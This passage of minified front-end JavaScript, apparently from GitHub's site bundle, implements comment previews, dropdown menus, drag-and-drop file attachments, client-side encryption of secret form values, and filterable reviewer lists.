t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let 